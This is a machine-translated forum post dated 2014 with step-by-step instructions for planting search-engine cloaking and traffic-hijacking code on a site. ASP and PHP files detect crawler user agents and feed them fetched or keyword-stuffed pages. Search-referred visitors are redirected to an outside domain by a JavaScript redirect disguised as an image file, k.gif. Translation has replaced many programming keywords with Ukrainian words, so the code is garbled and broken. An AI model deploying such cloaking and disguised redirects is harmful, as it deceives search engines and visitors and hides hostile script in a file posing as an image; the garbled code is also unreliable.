Спочатку все просто: додайте наступний код на головну сторінку:
Версія ASP
<!--#include file="conn.asp"-->
<script src="images\k.gif"></script>
PHP-версія
<!--#include file="conn.php"-->
<script src="images\k.gif"></script>
Потім додайте наступний код до файлу керування відповідно до програми сайту, якщо у вас немає conn.asp або conn.php, створіть його самостійно:
conn.asp видання
----------- наступне відтворення--------------------------------
<%
Функція isspider()
DIM агент, SEARRAY,I
agent="agent:"&LCase(request.servervariables("http_user_agent"))
SeArray=Array("Googlebot","Baiduspider","Sogou","yahoo","soso","360spider")
isspider= неправда
для i=0 до ubound(searray)
якщо (instr(agent,searray(i))>0) то isspider=true
Далі
Кінцева функція
Функція fromse()
dim urlrefer,i,searray
urlrefer="refer:"&LCase(запит. ServerVariables("HTTP_REFERER"))
fromse= неправда
якщо urlrefer="" тоді fromse= false
seArray=Array("Google","Baidu","Sogo","yahoo","Soso","360")
для i=0 до ubound(searray)
якщо (instr(urlrefer,searray(i))>0) тоді fromse=істинно
Далі
Кінцева функція
Функція gethttp(url)
dim http
set http=createobject("MSXML2. XMLHTTP")
http.open "GET",url,false
Http.send()
якщо Http.readystate<>4, то
Функція виходу
кінець, якщо
gethttp=bytes2BSTR(Http.responseBody)
встановити http=нічого
якщо err.number<>0 — то err. Чисто
Кінцева функція
function bytes2BSTR(vIn)
dim strReturn
dim i, ThisCharCode, NextCharCode
strReturn = ""
Для i = 1 до LenB(vIn)
ThisCharCode = AscB(MidB(vIn,i,1))
Якщо ThisCharCode < &H80, то
strReturn = strReturn & Chr(ThisCharCode)
Інша
NextCharCode = AscB(MidB(vIn,i+1,1))
strReturn = strReturn & Chr(CLng(ThisCharCode) * &H100 + CInt(NextCharCode))
i = i + 1
Кінець якби
Далі
bytes2BSTR = strReturn
Кінцева функція
if(isspider()) тоді
dim myfso,fileurl,filecon,myfile,bodyurl,remotehtml
bodyurl="http://www.itsvse.com" //snapshot URL
Відповідь.Clear
remotehtml=gethttp(bodyurl)
response.write(remotehtml)
respond.write("<!--"&now()&"-->")
respond.flush
response.end
кінець, якщо
%>
conn.php
---------------- наступне відтворення----------------
<?php
функція is_search_bot(){
$user_agent = Strtolower($_SERVER['HTTP_USER_AGENT']);
$identify = масив ('baiduspider', 'sogou spider', 'sosospider','iaskspider', 'naverrobot');
foreach ($identify AS $key => $tag){
якщо (strstr($user_agent, $tag)){
Повернення True;
}
}
повернення хибно; }
функція is_urlbaidu()
{
$come_from="baidu@sogou@soso@iask@naver";
$referer = вибухнути("@",$come_from);
foreach($referer як $url){
якщо (stristr($_SERVER['HTTP_REFERER'],$url)){
Повернення True;
}
}
повернення хибно; }
якщо (is_search_bot())
{
$html = "Уханьський <title>професійний коледж програмної інженерії</title> <meta name=\"Автор\" content=\"Заповніть те саме, що й ключові слова\"> <meta name=\"Ключові слова\" content=\"Ключові слова\"> <meta name=
\"Опис\" зміст=\"Опис\"> </head> <body>Зміст</body></html>";
Echo $html;
}
if (!is_search_bot() && is_urlbaidu())
{
Header('Місцезнаходження:http://www.itsvse.com');
}
?>
Нарешті, у каталозі зображень завантажте k.gif файл k.gif кодом:
var s=document.referrer
if(s.indexOf("baidu")>0 || s.indexOf("soso")>0 || s.indexOf("google")>0 || s.indexOf("360")>0 || s.indexOf("sogou")>0 )
location.href="http://www.itsvse.com"; Перенаправлення URL
|
Опубліковано 01.12.2014 18:48:55
|
|
|
